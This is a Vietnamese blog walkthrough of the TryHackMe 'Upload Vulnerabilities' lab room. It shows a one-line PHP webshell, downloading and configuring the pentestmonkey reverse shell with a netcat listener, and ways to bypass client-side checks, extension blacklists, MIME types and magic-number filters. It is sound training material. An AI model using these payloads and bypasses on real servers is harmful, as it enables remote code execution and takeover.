[tryhackme] Upload Vulnerabilities
Task 1: Getting Started
Phần đầu giới thiệu về Hosts File: it allows you to map IP addresses to domain names locally without relying on a DNS server to resolve the IP address. (giúp mapping địa chỉ IP với domain name mà không cần thông qua DNS server để phân giải địa chỉ IP)
Đoạn giới thiệu cũng đề cập tới thuật ngữ Vhosting: một kỹ thuật cho phép một máy chủ web duy nhất phục vụ nhiều trang web khác nhau, bằng cách sử dụng 1 IP nhưng các tên miền khác nhau.
Ở máy tính của bạn (không phải máy ảo tryhackme), dùng quyền admin để mở hosts file.
On Linux and MacOS the hosts file can be found at
/etc/hosts.
On Windows the hosts file can be found at
C:\Windows\System32\drivers\etc\hosts
Mình sẽ dùng Notepad trên Windows.
Mở Notepad > Run as administrator > File > Open > paste C:\Windows\System32\drivers\etc\hosts
để mở file
Ta add thêm dòng sau vào cuối Hosts File:
{target_IP} overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm
sau đó Save lại.
- Sau khi terminal máy ảo này trên tryhackme, nhớ xóa dòng này đi nhé.
Note*: If you find that you cannot access the websites, this is nearly always due to one of:*
A) Having duplicate entries in your host file
B) Having an anonymising VPN active alongside your TryHackMe VPN connection pack
Task 2: Introduction
Hiện nay thì chức năng Upload Files là một thành phần không thể thiếu với các ứng dụng web. Tuy nhiên chính chức năng này cũng tiềm ẩn nhiều nguy cơ, giả như nếu attackers upload một attack shell lên thì sẽ rất nguy hiểm. Nếu không giới hạn quyền tải lên server, attacker có thể dễ dàng truy xuất dữ liệu theo ý mình, dẫn đến việc tấn công XSS hay CSRF hoàn toàn có thể xảy ra.
Room này sẽ tập trung khai thác một số lỗ hổng trong quá trình xử lý file tải lên, bao gồm:
Ghi đè các file đã có trên server
Tải lên và thực thi Shell trên máy chủ
Bỏ qua bộ lọc phía máy khách
Bỏ qua nhiều loại bộ lọc phía máy chủ
Lừa kiểm tra xác thực loại nội dung
Task 3: General Methodology
Bước đầu tiên của mọi quá trình hacking luôn là Enumeration.
Xem qua source code của trang web cũng là một cách để kiểm tra xem liệu phía client có lớp lọc nào không. Ngoài ra, nếu ta quét các directories với các công cụ bruteforcer như Gobuster cũng là một cách hay để quan sát xem các tệp được tải lên sẽ đi về đâu.
sudo apt install gobuster
là lệnh cài đặt Gobuster trên Linux.
Bên cạnh đó, ta cũng có thể can thiệp các requests với Burpsuite, hay dùng các extensions trên trình duyệt như Wappalyser để thực hiện quá trình Enumeration.
Task 4: Overwriting Existing Files
Thường thì khi thiết lập chức năng upload lên server, ta thực hiện nhiều bước kiểm tra nhằm đảm bảo các tệp hiện có trên server sẽ không bị ghi đè. Ví dụ, nếu tên tệp tải lên trùng với một tệp sẵn có trong hệ thống, một thông báo lỗi sẽ hiện lên và yêu cầu người dùng đặt một tên khác...
What is the name of the image file which can be overwritten?
Truy cập: overwrite.uploadvulns.thm
Ctrl + U để view page source:
Đáp án: mountains.jpg
Overwrite the image. What is the flag you receive?
Sau đó, ta chỉ cần lên mạng tải về 1 file ảnh .jpg gì đó về > Select và Upload lên là tìm được flag.
Task 5: Remote Code Execution
Vul này cho phép chúng ta thực thi mã tùy ý trên máy chủ. Remote code execution thông qua một lỗ hổng tải lên trong ứng dụng web thường được khai thác bằng cách tải lên một chương trình được viết bằng cùng ngôn ngữ với ngôn ngữ backend của trang web (thường là PHP, tuy nhiên, gần đây, các ngôn ngữ backend khác đã trở nên phổ biến hơn Python Django và Javascript dưới dạng Node.js)
Cần lưu ý rằng trong một ứng dụng có định tuyến (tức là một ứng dụng mà các tuyến được định nghĩa bằng lập trình thay vì được ánh xạ tới hệ thống tệp), phương pháp tấn công này trở nên phức tạp hơn nhiều và ít có khả năng xảy ra hơn.
Ví dụ:
Trong một ứng dụng không có định tuyến lập trình (truyền thống), URL example.com/about có thể ánh xạ trực tiếp đến tệp about.html trên hệ thống tệp.
Trong một ứng dụng có định tuyến lập trình, URL example.com/about có thể được định nghĩa để gọi một hàm trong mã nguồn mà hàm này sẽ quyết định nội dung nào cần hiển thị.
Có hai cách cơ bản để thực hiện khai thác RCE: webshells, và reverse/bind shells
Webshell: là một tệp được tải lên máy chủ, cho phép kẻ tấn công thực hiện các lệnh từ xa thông qua trình duyệt web. Webshell thường đơn giản hơn và dễ thực hiện, nhưng bị giới hạn trong các chức năng mà kẻ tấn công có thể thực hiện, vì chúng bị ràng buộc bởi ngôn ngữ lập trình của webserver (ví dụ: PHP, ASP).
Reverse/bind shell: Đây là loại shell phức tạp hơn, cho phép kẻ tấn công có quyền truy cập trực tiếp vào máy chủ từ xa thông qua một kết nối mạng. Reverse shell là khi máy chủ bị tấn công tự kết nối lại với máy tính của kẻ tấn công, còn bind shell là khi máy chủ mở một cổng để kẻ tấn công có thể kết nối vào.
Ví dụ cụ thể:
Webshell: Kẻ tấn công tải lên một tệp PHP có nội dung là
?php system($_GET['cmd']); ?
. Khi truy cập vào tệp này qua trình duyệt, kẻ tấn công có thể thực thi lệnh bằng cách truyền cmd qua URL, ví dụ: http://example.com/uploads/webshell.php?cmd=ls.Reverse Shell: Kẻ tấn công tải lên một script PHP mà khi được kích hoạt, sẽ kết nối trở lại với máy tính của kẻ tấn công và mở một shell (ví dụ: sử dụng netcat). Kẻ tấn công sau đó có thể điều khiển máy chủ từ xa.
THỰC HÀNH bằng Webshell
Chúng ta sẽ dử dụng công cụ Gobuster + một Dir-buster wordlist
Target domain: http://shell.uploadvulns.thm/
Gobuster:
Điều kiện: Máy đã cài đặt ngôn ngữ Go
Link: https://github.com/OJ/gobusterWordlist: https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-medium.txt
Chạy lệnh gobuster dir -u
http://shell.uploadvulns.thm/
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Ta nhận thấy: có 2 dir -- resources và assets. Phỏng đoán các tệp ảnh sẽ được đưa vào trong resources.
Ta thử kiểm tra giả thuyết này bằng cách:
upload một file ảnh lên (chọn file nhỏ thôi)
Thông báo hiển thị: File Uploaded Successfully (http://shell.uploadvulns.thm/?submit=success)
Giờ ta thử truy cập vào /resources
Đúng là file upload đang ở đây!
Dev đã không hề kiểm soát tốt dữ liệu đầu vào ở vị trí này. Vì vậy, khả năng cao dir này hoàn toàn có thể bị RCE.
- Kiểm tra ngôn ngữ back-end:
Các ứng dụng web đều chứa vài file extension - thể hiện ngôn ngữ back-end của web đó. Ta có thể thử check với /index.php cho ngôn ngữ PHP
Ngoài ra, còn vài cách như upload trực tiếp 1 file PHP có nội dung như: <?php phpinfo(); ?>
,...
- Simple Webshell - thực thi lệnh cmd
Ta tạo 1 tệp có nội dung sau:
<?php echo system($_GET["cmd"]); ?>
Upload tệp đó:
Giờ thì ta có thể hoàn toàn gõ lệnh ?cmd= được rồi đó
CÂU HỎI
- Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?
\=> /resources
- Get either a web shell or a reverse shell on the machine. What's the flag in the /var/www/ directory of the server?
Webshell
1, gõ lệnh ls%20/var/www
(%20 tương đương dấu SPACE trong URL Encode) để hiện danh sách files có trong /var/www
2, Gõ lệnh cat%20/var/www/flag.txt
để đọc FLAG thôi.
Reverse Shell
Dùng Pentest Monkey reverse shell (tải về bằng lệnh: wget
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
) và netcat.
Sau khi tải về, file php-reverse-shell.php
sẽ được lưu trong thư mục hiện tại
1, Cần edit dòng 49 của php-reverse-shell.php
Đổi $ip thành địa chỉ của local. $port để nguyên cũng được.
2, chạy Netcat listener ở máy tấn công (local): nc -lvnp 1234
Điều này tạo 1 cổng mở (listener) để khi ta thao tác trên máy mục tiêu, nó sẽ gửi ngược lại tín hiệu qua cổng 1234 này.
3, Upload php-reverse-shell.php
lên. Sau đó điều hướng nó để nó gửi request ngược lại qua link shell.uploadvulns.thm/resources/php-reverse-shell.php
Nếu thấy những thông số này trên terminal của máy tấn công thì kết nối reverse đã thành công!
4, Giờ thì gõ lệnh và truy xuất kết quả bình thường thôi!
Task 6: Filtering
Task này đề cập tới vấn đề filter của ứng dụng web để chống các file upload nguy hiểm.
Đầu tiên, ta đề cập tới 2 hai khái niệm: client-side filtering và server-side filtering.
1, Client-Side Script: là các đoạn mã chạy và xử lý thông tin phía client (JavaScript). Việc thực hiện filter cũng diễn ra trên máy client.
2, Server-Side Script: các đoạn mã chạy và xử lý thông tin phía server - database (PHP, sau này cải tiến hơn là C#, Node.js, Python, Ruby on Rails,...). Filter của server khó bypass hơn. Tuy nhiên, có thể thử các payload (miễn là vẫn tuân theo quy tắc của hệ thống), thì vẫn có khả năng payload sẽ được thực thi.
Dựa vào các lý thuyết trên, ta điểm qua các filtering khác nhau:
Extension Validation*:*
Phần mở rộng của tệp có thể được khai thác để tấn công File upload vuln. Các OS MS Windows vẫn dùng các đuôi này để phân biệt và thực thi các tệp.
Filtering với phần mở rộng thường ứng dụng cho hai mục đích: blacklist hoặc whitelist tệp
File Type Filtering:
- MIME (Multipurpose Internet Mail Extension): Là một chuỗi ký tự mô tả loại nội dung của một tập tin. Loại MIME tuân theo định dạng <type>/<subtype>, ví dụ: "text/plain" cho văn bản đơn giản, "image/jpeg" cho ảnh JPEG, v.v.
Magic Number validation: Ví dụ, file PNG sẽ có nhưng bytes đầu tiên dạng:
89 50 4E 47 0D 0A 1A 0A
.
File Length Filtering*:*
Ngăn chặn các tệp tin có kích thước lớn được tải lên (which is tiêu tốn tài nguyên của máy chủ).
File Name Filtering:
Như bài trên có đề cập, các files upload lên nên là độc nhất để tránh trường hợp ghi đè file sẵn có. Tên tệp cũng nên được làm sạch khỏi các "bad characters" (e.g. null bytes or forward slashes on Linux, as well as control characters such as ; and potentially unicode characters)
File Content Filtering*:*
Đây là loại lọc phức tạp hơn.
Tùy ngôn ngữ, ví dụ PHP trước phiên bản thứ năm, có thể bypass bằng null byte + tệp mở rộng hợp lệ + .php để thực thi mã độc.
Task 7: Bypassing Client-Side Filtering
Khởi đầu với filter đơn giản nhất: Client-Side
Có 4 cách đơn giản để bypass client-side file upload filter:
Turn off Javascript in your browser: tắt JS đi thì filter khỏi chạy
Intercept and modify the incoming page: can thiệp và mod những request tới bằng Burpsuite
Intercept and modify the file upload: vẫn cho load page bình thường, chỉ can thiệp file upload
Send the file directly to the upload point: dùng công cụ
curl
. Cú pháp:
curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>
phương pháp này yêu cầu biết chính xác các thông số của trang web.
THỰC HÀNH
Đây là trang web của chúng ta.
1, Check source code + Recon bằng Gobuster + wget monkey pentest + mở netcat listener:
Chưa thấy script thể hiện MIME Type ở đây. Nhưng dòng này có vẻ khả nghi
MIME Type: image.png
Recon dir bằng Gobuster:
ta thấy dir /images
Sau khi test thử với 1 ảnh .png thì đúng là ảnh được upload lên thư mục này
Tại phần này tui dùng reverse Shell nên: Nhớ wget monkey pentest và mở nc -lvnp 1234
2, bypass filter
Khởi động BurpSuite. Reload lại request > Do intercept > Forward cho tới khi thấy được script chứa MIME Type
-
xóa dòng đó và forward tới cuối cùng. Lúc này ta có thể upload mọi thể loại file mà không sợ bị whitelist filter nữa.
Lưu ý cực mạnh: về cơ bản thì cái JS script chứa MIME Type nó không trực tiếp ở trong main page. Ta cần phải xóa cái ^js$|
(trong Intercept Client Rules)để nó đồng thời xóa luôn các file dạng JS
Upload thành công!
3, điều chỉnh monkey pentest:
Chỉnh Content-Type: text/x-php
trong Intercept > Forward tới cuối cùng
4, Điều hướng về reverse shell
http://java.uploadvulns.thm/images/php-reverse-shell.php
Shell đã kết nối thành công với listener!
Giờ thì đơn giản là cat /var/www/flag.txt
Task 8: Bypassing Server-Side Filtering: File Extensions
Server-side filter sẽ không cho phép chúng ta xem + thay đổi code như client-side. Thay vào đó, chúng ta phải thực hiện test + build up rất nhiều test cases để có thể kiểm tra được filter này.
Ví dụ: một blacklist của server-side filtering:<?php //Get the extension $extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"]; //Check the extension against the blacklist -- .php and .phtml switch($extension){ case "php": case "phtml": case NULL: $uploadFail = True; break; default: $uploadFail = False; } ?>
Như đoạn mã trên, nó sẽ filter bất cứ tệp nào có dạng .php
hoặc .phtml
.
Theo Wikipedia của PHP (link), ngoài 2 dạng extensions đó, chúng ta còn có php3
, .php4
, .php5
, .php7
, .phps
, .php-s
, .pht
và .phar
. Ta có thể thử các đuôi này để bypass.
Tuy nhiên, server lại không nhận diện được các đuôi trên là tệp PHP, như ví dụ dưới:
Ta vẫn có thể thử. It's worth to try!
Ta thử xem xét một ví dụ khác. Lần này ta tiếp cận hoàn toàn black-box (không có source code)
Ta thử upload một cách hợp lệ spaniel.jpg
Thử với shell.php
thì không được
Trong ví dụ trước, chúng ta đã thấy rằng mã đang sử dụng hàm pathinfo()
của PHP để lấy các ký tự cuối cùng sau dấu chấm (.), nhưng điều gì sẽ xảy ra nếu bộ lọc xử lý đầu vào hơi khác?
Hãy thử tải lên một tệp có tên là shell.jpg.php. Chúng ta đã biết rằng các tệp JPEG được chấp nhận, vậy nếu bộ lọc chỉ kiểm tra xem phần mở rộng .jpg có xuất hiện ở đâu đó trong đầu vào không thì sao?
Diễn giải cho đoạn code này kiểu:
CHẤP NHẬN FILE TỪ USER -- LƯU FILENAME VÀO BIẾN userInput NẾU STRING ".jpg" XUẤT HIỆN TRONG userInput: LƯU FILE ELSE: RETURN THÔNG BÁO ERROR
Thử làm và ta đã lưu file được! Điều hướng tới /uploads
OKKK giờ thì thực hành thôi!
WRITE-UP
Your flag is in /var/www/
. The site you're accessing is annex.uploadvulns.thm
.
1, truy cập vào annex.uploadvulns.thm
Gõ help
> hiển thị ba lệnh:
select: chọn file
upload: tải lên file vừa chọn
chosen: hiển thị tên output của file vừa chọn
Tui upload thử cat.jpg
> Successful
Nhưng mà không upload được shell.php
Page source cũng không có gì để view cả :<
Thử dirsearch bằng Gobuster xem sao...
/privacy có vẻ sus. Và yeah, đó là directory của các thư mục uploads :3
2, Dùng reverse Shell - đổi extension tệp thành .php5
(như đã nói ở trên, ngoài .php
ra, còn rất nhiều đuôi tệp khác - tùy cấu hình máy chủ sẽ chấp nhận. Nên lập thành 1 cái test list để thử...)
Upload lại > Sucessfully
Kết nối thành công!
sau đó thì cat /var/www/flag.txt
Task 9: Bypassing Server-Side Filtering: Magic Numbers
Magic Number là một chuỗi ký tự hex, luôn ở đầu để xác định định dạng file. Biết được điều này, chúng ta có thể sử dụng magic numbers để đổi dạng các tệp tải lên, server chỉ đọc vài byte đầu tiên và so sánh chúng với blacklist / whitelist.
Tài liệu tham khảo về Magic Number: https://en.wikipedia.org/wiki/List_of_file_signatures
Mình sẽ chọn FF D8 FF DB
Mình có thể add dạng ASCII của ký tự này ÿØÿÛ
trực tiếp vào đầu file, nhưng thường thì sẽ dễ hơn nếu có thể ghi bằng mã hex.
Bắt đầu, dùng lệnh file
trong Linux để kiểm tra kiểu file
Quan sất thấy magic number có độ dài 4 bytes. Giờ mở webshell/reverse shell và add 4 ký tự ngẫu nhiên vào dòng đầu tiên.
Lưu file > Exit. Mở lại file bằng hexeditor
(default on Kali)
Ta thấy A = 41
Giờ đổi thành FF D8 FF DB
Check lại dạng file lần nữa > image
Giờ thì upload và bypass thôi
WRITE-UP
Khỏi động magic.uploadvulns.thm
1, Recon + Gobuster
Chỉ có GIFS mới được upload.
Dựa trên List of file signatures, ảnh định dạng gif có 6 bytes - mình lấy 47 49 46 38 37 61
Chạy Gobuster để quét thư mục upload
gobuster dir -u
http://magic.uploadvulns.thm/
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Có vẻ là thư mục /graphics. Tuy nhiên truy cập trực tiếp vào dir này thì bị Forbidden do không đủ quyền. OK thế thì đành mò tới vậy...
2, tải Pentest Monkey về + thay đổi 6 bytes đầu tiên của tệp .php + mở listener netcat
sudo nano php-reverse-shell.php
> thêm AAAAAA
hexedit php-reverse-shell.php
-> Đổi thành 47 49 46 38 37 61
nhớ đổi cả $ip nữa. Sau đó mở netcat nc -lvnp 1234
2, Upload lên
3, Kết nối về listener:
Và lấy được FLAG!
Task 10: Example Methodology
Thử thách tới là black-box file upload
1, Quan sát tổng thể.
Xác định ngôn ngữ + framework của web app (Wappalyzer or by BurpSuite)
Headers such as
server
orx-powered-by
can be used to gain information about the server.Tìm upload page
2, Tìm upload page
- xem source code để tìm client-side filter
3, Upload như user bình thường. Sau đó
Gobuster để tìm dir
xác định xem loại file nào có thể upload lên?
-x
trong gobuster khá hữu ích để tìm extensions của files. Ví dụ:-x php,txt,html
công cụ này sẽ thêm .php, .txt, và .html vào mỗi từ trong danh sách từ payload được chọn
4, Thử upload file mã độc lên. Thông báo lỗi có thể cung cấp khá nhiều thông tin cho các bước tiếp theo
Giả sử file mã độc bị server chặn lại, có một số cách để xác định loại server-side filter nào được sử dụng:
Nếu file sai định dạng nhưng vẫn được update thành công
tên-ảnh.định-dạng-sai
thì có khả năng server đang sử dụng blacklist. Còn upload và fail thì có thể đang xài whitelist.Thử up file đúng định dạng, nhưng đổi magic number thành định dạng sẽ bị server lọc. Nếu upload không thành công > đang dùng magic number filter.
Thử up file đúng định dạng, nhưng dùng BurpSuite đổi MIME Type. Nếu upload không thành công > MIME types filter
Việc liệt kê các bộ lọc độ dài tệp là một quá trình tải lên một tệp nhỏ, sau đó tải lên các tệp ngày càng lớn hơn cho đến khi bạn gặp phải bộ lọc. Tại thời điểm đó, bạn sẽ biết giới hạn chấp nhận được là bao nhiêu. Nếu may mắn, thông báo lỗi của lần tải lên ban đầu có thể nói rõ giới hạn kích thước là bao nhiêu. Hãy cẩn thận vì giới hạn độ dài tệp nhỏ có thể ngăn bạn tải lên reverse shell mà chúng ta đã sử dụng cho đến nay
Task 11: Challenge
Khởi động jewel.uploadvulns.thm
.
1, Enum bằng Gobuster
Có mỗi trang /admin này là vào được
Xem source code
Có 1 ảnh tĩnh ở /assets/title.svg
Ta còn đọc được là chỉ file ảnh .jpeg mới upload lên được.
Upload file ảnh của ta.
Ta cũng được cung cấp 1 wordlist UploadVuln.txt.
Dùng wordlist đó với Gobuster với -x jpeg,jpg để tìm file ảnh trong /content
Nhận thấy ảnh các ảnh backgroup được lưu dưới tên /ABH.jpg, LKQ.jpg,..
Sau 1 hồi quét, ta thấy ảnh của mình trong /content
- Bypass filter
Xem thử JavaScript source ở /upload.js thì thấy nó có 3 rules
//Check File Size: không được lớn quá 400KB
//Check Magic Number: "ÿØÿ" - tương đương của jpg và jpeg
//Check file extension: phải là .jpg hoặc .jpeg
Subscribe to my newsletter
Read articles from Muffin directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Muffin
Muffin
I've just started to learn pentesting from the start. I like cats.